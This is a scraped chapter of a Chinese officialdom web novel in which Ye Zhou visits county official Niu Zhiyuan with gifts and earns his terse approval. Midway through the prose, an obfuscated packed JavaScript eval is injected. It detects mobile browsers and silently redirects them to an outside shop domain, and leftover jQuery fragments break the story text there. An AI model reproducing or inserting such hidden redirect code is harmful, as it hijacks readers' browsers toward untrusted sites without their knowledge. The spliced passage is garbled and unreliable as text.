文趣网 > 都市小说 > 重生九六:带爸闯仕途 > 460.第三站——牛志远
    车子驶出县委大院后方的老巷,商陆没有多问下一站去处,顺着主路平稳直行。驶出一段距离后,他才抬眼透过后视镜,悄悄瞥了一眼后座的叶舟。

    叶舟正低头将张治平回赠的铁皮茶叶罐仔细收进包里,拉好拉链,动作沉静稳妥。察觉到后视镜的目光,他抬眼轻声开口:“去牛县长家,往西走,过了加油站再拐巷口。”

    “收到。”商陆轻点方向盘,打舵变道,车子驶入城西道路。

    越往城西走,城区的烟火热闹越淡。沿街商铺渐渐稀疏,宽敞的法桐换成了苍老的白杨树,道路两旁接连出现散户自建房与规整菜地。几户农家院门口码着整齐的柴火垛,一条黄狗蜷在墙根晒太阳,车轮碾过路面的轻响传来,它也只是抬了抬眼皮,懒得动弹。

    商陆下意识放缓车速,低声感慨:“牛县长住得真是偏,清净得很。”

    “嗯。”叶舟淡淡应了一声,目光落在窗外飞速后退的景致上,心思却早已飘远,“他向来不爱凑人前的热闹。”

    靠在座椅上,昨夜在家整理礼品的犹豫纠结,再次浮上心头。

    贺晓斌是摆明立场的自己人,登门拜访、带礼小坐,是人情、是走动,坦荡自然。可牛志远不一样。

    此人的分寸,叶舟一直拿捏不透。

    说他冷淡,关键时刻从不含糊,该审批的款项准时落地,该在常委会帮衬的话,从不缺席;说他亲近,私下相处永远不远不近、不冷不热,无半分私交热络,待人始终隔着一层若有若无的分寸感。

    昨晚堂屋灯下,他对着一堆礼品迟疑许久。两罐龙井、一箱大棚鲜菜、腊肉腊鱼都是常规年礼,唯独那两瓶自泡酒,他拿起又放下、放下又拿起,反复斟酌。

    叶子安倒水路过,看他驻足发呆,随口一语点破关键:“拿不准?”

    叶舟没有遮掩,如实坦言:“牛县长这边,我摸不透他的底线。”

    叶子安端着水杯,语气平淡通透:“他愿意让你一次次进他办公室,就说明没把你往外推。”

    简简单单一句话,说完便转身回了屋,没再多解释半句。

    叶舟立在堂屋中央,盯着那两瓶酒沉吟良久,最终还是轻轻放进了礼品袋里。

    车子途经一处废弃砖厂,荒草连片,视野空旷。手机轻轻震了一下,是宁蕙心的短信:茶叶够不够,要不要再备一些。

    叶舟低头回了两个字:够用。

    寥寥两字,语意未尽。是茶叶够用,亦是此番登门的分寸、底气,已然足够。

    前行数百米,巷子尽头一栋两层红砖自建房映入眼帘,没有贴瓷砖装点,朴素简陋,带着十足的农家烟火气。院子宽敞,却算不上规整,靠墙堆着一捆闲置竹竿,角落停着一辆三轮车,车斗里散落着几把沾着泥土的铁锹,看得出来主人时常下地劳作。

    晾衣绳上挂着一件洗得发白的旧棉袄,冬日冷风掠过,衣摆轻轻晃动,透着朴素居家的松弛感。

    商陆平稳停车:“领导,到地方了。”

    “嗯。”叶舟推门下车,叮嘱道,“你在车上等着,我待不了多久。”

    他掀开后备箱,拎出备好的礼品。两罐龙井、两瓶自泡酒、一箱腊味与时鲜蔬菜,没有香烟,不张扬、不厚重,分寸刚好,体面不逾矩。

    院门虚掩着,轻轻一推便开,水泥地面干燥,踩上去带着细碎的沙沙声响。叶舟走到屋门前,抬手轻叩两下门板。

    四五秒的静默后,屋内传来拖沓平缓的脚步声。

    门开了。牛志远站在门内,套着一件旧棉袄,领口的扣子错位了一颗,头发有些蓬乱,左手端着搪瓷缸,右手捏着半块凉馒头,看样子是午觉刚醒。看见叶舟,他表情没起什么变化,只微微偏了一下头。

    “来了?”

    “来了。”叶舟提了提手里的东西,“牛县长,快过年了,顺道过来看看您。”

    牛志远扫了一眼他手里拎的物件——两罐茶叶、两瓶酒、一箱腊味菜蔬。目光在酒瓶上落了不到半秒,随即移开,面上看不出任何情绪起伏,只是侧了侧身:“进来吧,门带上。”

    叶舟跟着进屋,顺手把门虚掩上。

    客厅不大,收拾得还算齐整,但杂物不少。墙角堆着一摞旧报纸和文件,茶几上搁着几个没洗的碗,一台老式电视机开着,放的戏曲频道,咿咿呀呀的唱腔在屋里不急不缓地绕着,音量不大不小,像是长年累月就这么开着。

    牛志远没接话。他往旧沙发里一坐,翘起腿,端起搪瓷缸,吹了吹水面,不紧不慢灌了一口水,杯子没放下,就这么端着,也不急着开口。

    电视里咿咿呀呀的戏腔在客厅里转了几个来回,牛志远才放下杯子,下巴朝对面的折叠椅微微一扬:“坐。”

    叶舟将礼品轻放在墙角,拉开折叠椅坐下。椅子年头久了,腿架微微晃动,他轻轻挪了下重心,稳稳坐定。

    没寒暄、没客套,不等叶舟开口,牛志远已然率先问话,直奔工作核心,干脆利落。

    “望川镇今年的账,最终核算完了?”

    “核算完毕了。”叶舟应声沉稳,据实汇报,“合作社全年净利润两千一百多万,大棚与加工厂分开独立核算,虽未最终扎账,但整体产值相较去年,保守翻了一番。”

    牛志远面无波澜,端起搪瓷缸抿了一口白水,轻轻放下,缸底与茶几碰撞,发出一声细微轻响。

    “明年打算怎么干?”

    “主要三块方向。”叶舟条理清晰,不赘述、不浮夸,“加工厂扩产升级、大棚果蔬品种迭代、沙土地药材试种。药材项目目前还在论证阶段,技术路线已经敲定,大面积推广至少还要一年打磨。”

    牛志远指尖轻轻点着膝盖,节奏缓慢,带着审视的意味,沉默两秒后淡淡开口:“沙土地种药材,你心里有底?”

    “不敢百分百笃定。”叶舟坦诚作答,不夸大底气,“省农科院的专家实地勘测过,土质、气候初步适配,具备落地基础。”

    牛志远微微摇头,语气带着过来人的务实提醒,无说教、无苛责:“沙地种花生、红薯稳稳妥妥,不愁销路。药材不一样,市场波动大得厉害,种出来容易,卖出去难。”

    叶舟刚要开口补充预案,牛志远抬手轻轻一摆,直接截断话头:“行了,你心里有数就够了。”

    一句话止住所有辩解,信任与敲打,尽在其中。

    屋内再次陷入安静,只剩电视机里咿呀的戏曲唱腔循环往复。牛志远再次端起水杯,目光看似随意地扫过墙角礼品,最终稳稳落在那两瓶泡酒之上,随即不动声色收回视线,漫不经心地随口一问:

    “今年就泡了这两瓶?”

    叶舟心头微亮,瞬间读懂深意。

    进门初见时,牛志远明明已经瞥见礼品,全程闭口不提。偏偏在问完账目、明年规划、产业风险,三项核心工作全部摸底完毕,确认他做事稳妥、思虑周全之后,才绕回这两瓶酒。

    这从来不是随口闲聊,是层层铺垫后的最终确认。先查工作能力,再认人情分寸,体制内私下走动的规矩,被他拿捏得淋漓尽致。

    “今年泡了一批,多数还在窖藏陈放。”叶舟分寸得当,应声从容,“这两瓶是先装的样品,拿来给您尝尝口感。要是合您心意,明年开春我再送些过来。”

    牛志远没有接话,不推辞、不客套、不领情,只淡淡“嗯”了一声,端起水杯继续喝水,神色平静无波,仿佛只是聊了一句无关紧要的闲话。

    但叶舟心里彻底通透了。

    从落座到此刻,整场谈话不过短短两三分钟。没有家常寒暄,没有场面客套,全程务实摸底。最后这一句轻飘飘的问话,才算真正接纳了他此番登门的心意。

    昨夜叶子安那句“他让你进过几次办公室”,此刻叶舟才真正品出滋味来。

    一曲戏曲唱罢,电视画面跳转,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752682|206572||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    唱腔换了新的段落。牛志远靠在沙发上,目光落在电视屏幕上,看似听戏走神,实则暗自思忖。

    叶舟静坐片刻,见气氛到位,准备起身告辞。他身形微微欠起,还未开口,牛志远忽然压低声音,叫住了他。

    “叶舟。”

    “我在,县长。”叶舟立刻坐直身子。

    牛志远依旧没有转头看他,视线停留在屏幕之上,语气平淡无起伏,字字清晰落地:“你在望川这两年,事干得扎实。虚话我不说,就一句——你干活,我放心。”

    停顿半秒,他补了一句看似敲打、实则兜底的话:“踏踏实实往前干,别给我惹事就行。”

    叶舟心头一稳。

    外人听着,后半句是约束、是敲打,可熟悉牛志远性情的人都懂,这是最顶级的认可。

    此人从不讲漂亮场面话,若真是心存疑虑、心存防备,只会模糊敷衍、不置可否,绝不会直白说出“我放心”三个字。

    先核实工作、再确认分寸、最后表态认可,层层递进,没有半分虚情假意。

    叶舟郑重应声:“您放心,我一定守好底线、踏实干事,绝不添乱。”

    牛志远淡淡“嗯”了一声,端着水杯没有放下,姿态已然给出送客的暗示。

    叶舟适时起身:“那我不打扰您休息了,开春项目有新进展,我再来跟您汇报。”

    牛志远端坐未动,抬了抬手中的搪瓷缸,语气随意:“出门把门带上。”

    全程未起身、未送客、无半句客套挽留,是他一贯的清冷风格,也是自家人的松弛待遇。

    叶舟轻声换鞋,弯腰的瞬间余光瞥见,牛志远已经低头咬了一口剩下的馒头,目光重新落回电视屏幕,神态自若,仿佛方才那场关键谈话从未发生。

    他轻轻带上门,走出屋内。

    院里的风比来时更急了些,晾衣绳上的旧棉袄被吹得翻飞摆动,冬日的冷风通透凛冽,吹散了屋内淡淡的烟火气。

    叶舟穿过小院,走出巷口。

    商陆见状,立刻摇下车窗,掐灭手里的烟,轻声问道:“领导,顺利吗?”

    叶舟拉开车门坐进后座,靠在座椅上,闭目缓了两秒,缓缓开口:“他说,我干活他放心。”

    短短一句,商陆瞬间了然,没有多余追问,默默发动车子掉头返程。跟着叶舟久了,他早已懂了这些官场留白的门道,最重的话,往往最简单。

    车子平稳驶出小巷,沿着大路往城区折返。

    叶舟靠在座椅上,默默复盘整场谈话。

    牛志远全程无热络、无许诺、无客套。不留人吃饭、不递茶倒水、不说有事找我。只做了三件事:查账目、问规划、提点风险。最后绕礼确认,再落一句定心定论。

    贺晓斌是热忱站队,明明白白告诉你我支持你;张治平是暗中托底,悄悄给你往上走的通路;而牛志远,是静默过关,默认你这个人、认可你的事、不拦你的路。

    不进圈子,但给通行。不做靠山,但不设壁垒。

    他掏出手机,给叶子安发去一条短信:带了两瓶。

    片刻后,对面回来一个极简的“嗯”字。

    无需多言,父子二人已然默契相通。

    叶舟收起手机,摸出兜里的笔记本,翻开空白页,落笔简练,不留多余注解,只记下两行关键:

    牛志远:你干活,我放心。

    问酒,过关。

    合上本子,抬眼望向窗外。冬日午后的阳光薄淡朦胧,覆在连片的田野之上,空旷安稳。车轮碾过路面,细微扬尘在浅光里轻轻浮起,又缓缓落定。

    商陆一边稳速开车,一边低声询问:“领导,下一站去哪?”

    “先回镇上。”叶舟语气沉稳笃定,“明天一早,去农业局。”

    “好嘞。”

    车子提速前行,破开浅淡天光,朝着望川镇的方向稳稳驶去。一路安静,前路明朗。